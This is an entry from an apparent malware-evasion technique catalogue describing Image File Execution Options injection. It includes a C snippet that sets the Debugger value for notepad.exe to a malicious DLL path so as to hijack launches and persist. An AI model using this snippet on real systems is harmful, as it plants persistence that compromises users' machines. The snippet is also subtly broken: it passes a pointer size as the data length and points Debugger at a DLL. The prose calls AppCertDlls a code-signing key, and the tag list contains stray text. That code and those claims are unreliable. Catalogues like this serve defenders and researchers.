Image File Execution Options Injection

Created the Saturday 23 March 2019. Updated 4 months, 2 weeks ago.

Image File Execution Options Injection, also known as IFEO Injection, is a technique used by malware to evade detection and persist on a compromised system.

The technique involves modifying the Image File Execution Options (IFEO) registry key, which is used by the Windows operating system to set debugging options for executable files. When an executable file is launched, the operating system checks the corresponding IFEO registry key for any specified debugging options. If the key exists, the operating system launches the specified debugger instead of the executable file.

Along with IFEO, malware also uses other registry keys such as Appinit_DLL and AppCertDlls for both injection and persistence on the compromised system. These keys are used by the operating system to load DLLs at the start of a process and for code signing, respectively.

Technique Identifier

U1222

Technique Tags

Image File Execution Options Injection IFEO Injection malware evasion detection persistence compromised system registry keys Windows operating system debugging options executable files Appinit_DLL AppCertDlls injection DLLs code signing de signing

Code Snippets

#include <Windows.h>
#include <TlHelp32.h>

int main()
{
    HKEY hKey;
    LPCTSTR subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe";
    LPCTSTR value = "Debugger";
    LPCTSTR data = "C:\\malware.dll";
    DWORD dwSize = sizeof(data);

    // create or open the IFEO registry key
    RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);

    // set the Debugger value to the path of the malicious DLL
    RegSetValueEx(hKey, value, 0, REG_SZ, (LPBYTE)data, dwSize);

    RegCloseKey(hKey);
}

Contributors

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Ten process injection techniques: A technical survey of common and trending process injection techniques | Elastic Blog